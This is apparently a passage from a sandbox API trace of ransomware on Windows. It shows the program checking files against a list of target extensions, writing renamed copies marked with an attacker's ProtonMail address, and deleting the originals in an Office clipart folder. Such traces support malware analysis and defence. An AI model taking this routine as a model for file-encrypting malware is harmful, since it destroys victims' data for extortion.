	[0073.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.675] lstrlenW (lpString=".zip") returned 4
	[0073.675] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.675] lstrlenW (lpString=".rar") returned 4
	[0073.675] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.675] lstrlenW (lpString=".bz2") returned 4
	[0073.675] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.675] lstrlenW (lpString=".7z") returned 3
	[0073.675] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.675] lstrlenW (lpString=".dbf") returned 4
	[0073.675] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.675] lstrlenW (lpString=".1cd") returned 4
	[0073.675] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.675] lstrlenW (lpString=".jpg") returned 4
	[0073.675] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.676] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.676] lstrlenW (lpString="BD19695_.WMF") returned 12
	[0073.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.676] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=12982) returned 1
	[0073.676] CloseHandle (hObject=0x338) returned 1
	[0073.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220
	[0073.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.677] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.677] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.677] GetLastError () returned 0x0
	[0073.677] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x32b6, lpOverlapped=0x0) returned 1
	[0073.861] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0073.862] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.862] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.863] SetEndOfFile (hFile=0x358) returned 1
	[0073.863] CloseHandle (hObject=0x358) returned 1
	[0073.864] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.864] SetEndOfFile (hFile=0x338) returned 1
	[0073.865] CloseHandle (hObject=0x338) returned 1
	[0073.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1
	[0073.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.866] lstrlenW (lpString=".doc") returned 4
	[0073.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString=".docx") returned 5
	[0073.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.866] lstrlenW (lpString=".pdf") returned 4
	[0073.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString=".xls") returned 4
	[0073.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.866] lstrlenW (lpString=".xlsx") returned 5
	[0073.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.866] lstrlenW (lpString=".ppt") returned 4
	[0073.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.866] lstrlenW (lpString=".zip") returned 4
	[0073.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.866] lstrlenW (lpString=".rar") returned 4
	[0073.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString=".bz2") returned 4
	[0073.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString=".7z") returned 3
	[0073.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.866] lstrlenW (lpString=".dbf") returned 4
	[0073.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.866] lstrlenW (lpString=".1cd") returned 4
	[0073.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.866] lstrlenW (lpString=".jpg") returned 4
	[0073.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.867] lstrlenW (lpString=".doc") returned 4
	[0073.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString=".docx") returned 5
	[0073.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.867] lstrlenW (lpString=".pdf") returned 4
	[0073.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString=".xls") returned 4
	[0073.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.867] lstrlenW (lpString=".xlsx") returned 5
	[0073.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.867] lstrlenW (lpString=".ppt") returned 4
	[0073.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.867] lstrlenW (lpString=".zip") returned 4
	[0073.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.867] lstrlenW (lpString=".rar") returned 4
	[0073.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString=".bz2") returned 4
	[0073.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString=".7z") returned 3
	[0073.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.867] lstrlenW (lpString=".dbf") returned 4
	[0073.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.867] lstrlenW (lpString=".1cd") returned 4
	[0073.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0073.868] lstrlenW (lpString=".jpg") returned 4
	[0073.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.868] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.868] lstrlenW (lpString="BL00105_.WMF") returned 12
	[0073.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.868] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=880) returned 1
	[0073.868] CloseHandle (hObject=0x338) returned 1
	[0073.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220
	[0073.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.869] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.869] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.869] GetLastError () returned 0x0
	[0073.869] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x370, lpOverlapped=0x0) returned 1
	[0073.881] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x380, lpOverlapped=0x0) returned 1
	[0073.928] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.928] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.928] SetEndOfFile (hFile=0x358) returned 1
	[0073.928] CloseHandle (hObject=0x358) returned 1
	[0073.929] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.929] SetEndOfFile (hFile=0x338) returned 1
	[0073.930] CloseHandle (hObject=0x338) returned 1
	[0073.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1
	[0073.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.931] lstrlenW (lpString=".doc") returned 4
	[0073.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.932] lstrlenW (lpString=".docx") returned 5
	[0073.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.932] lstrlenW (lpString=".pdf") returned 4
	[0073.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.932] lstrlenW (lpString=".xls") returned 4
	[0073.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.932] lstrlenW (lpString=".xlsx") returned 5
	[0073.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.932] lstrlenW (lpString=".ppt") returned 4
	[0073.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.932] lstrlenW (lpString=".zip") returned 4
	[0073.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.932] lstrlenW (lpString=".rar") returned 4
	[0073.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.932] lstrlenW (lpString=".bz2") returned 4
	[0073.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.932] lstrlenW (lpString=".7z") returned 3
	[0073.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.932] lstrlenW (lpString=".dbf") returned 4
	[0073.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.932] lstrlenW (lpString=".1cd") returned 4
	[0073.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.933] lstrlenW (lpString=".jpg") returned 4
	[0073.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.933] lstrlenW (lpString=".doc") returned 4
	[0073.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.933] lstrlenW (lpString=".docx") returned 5
	[0073.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.933] lstrlenW (lpString=".pdf") returned 4
	[0073.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.933] lstrlenW (lpString=".xls") returned 4
	[0073.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.933] lstrlenW (lpString=".xlsx") returned 5
	[0073.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.933] lstrlenW (lpString=".ppt") returned 4
	[0073.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.933] lstrlenW (lpString=".zip") returned 4
	[0073.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.934] lstrlenW (lpString=".rar") returned 4
	[0073.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.934] lstrlenW (lpString=".bz2") returned 4
	[0073.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.934] lstrlenW (lpString=".7z") returned 3
	[0073.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.934] lstrlenW (lpString=".dbf") returned 4
	[0073.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.934] lstrlenW (lpString=".1cd") returned 4
	[0073.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0073.934] lstrlenW (lpString=".jpg") returned 4
	[0073.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.934] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.934] lstrlenW (lpString="BL00122_.WMF") returned 12
	[0073.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.935] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=10146) returned 1
	[0073.935] CloseHandle (hObject=0x338) returned 1
	[0073.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220
	[0073.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.935] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.935] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.936] GetLastError () returned 0x0
	[0073.936] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x27a2, lpOverlapped=0x0) returned 1
	[0073.938] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x27b0, lpOverlapped=0x0) returned 1
	[0073.939] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.940] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.940] SetEndOfFile (hFile=0x358) returned 1
	[0073.940] CloseHandle (hObject=0x358) returned 1
	[0073.943] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.943] SetEndOfFile (hFile=0x338) returned 1
	[0073.944] CloseHandle (hObject=0x338) returned 1
	[0073.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1
	[0073.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.944] lstrlenW (lpString=".doc") returned 4
	[0073.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString=".docx") returned 5
	[0073.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.945] lstrlenW (lpString=".pdf") returned 4
	[0073.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString=".xls") returned 4
	[0073.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.945] lstrlenW (lpString=".xlsx") returned 5
	[0073.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.945] lstrlenW (lpString=".ppt") returned 4
	[0073.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.945] lstrlenW (lpString=".zip") returned 4
	[0073.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.945] lstrlenW (lpString=".rar") returned 4
	[0073.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString=".bz2") returned 4
	[0073.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString=".7z") returned 3
	[0073.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.945] lstrlenW (lpString=".dbf") returned 4
	[0073.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.945] lstrlenW (lpString=".1cd") returned 4
	[0073.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.946] lstrlenW (lpString=".jpg") returned 4
	[0073.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.946] lstrlenW (lpString=".doc") returned 4
	[0073.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.946] lstrlenW (lpString=".docx") returned 5
	[0073.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.946] lstrlenW (lpString=".pdf") returned 4
	[0073.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.946] lstrlenW (lpString=".xls") returned 4
	[0073.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.946] lstrlenW (lpString=".xlsx") returned 5
	[0073.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.946] lstrlenW (lpString=".ppt") returned 4
	[0073.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.946] lstrlenW (lpString=".zip") returned 4
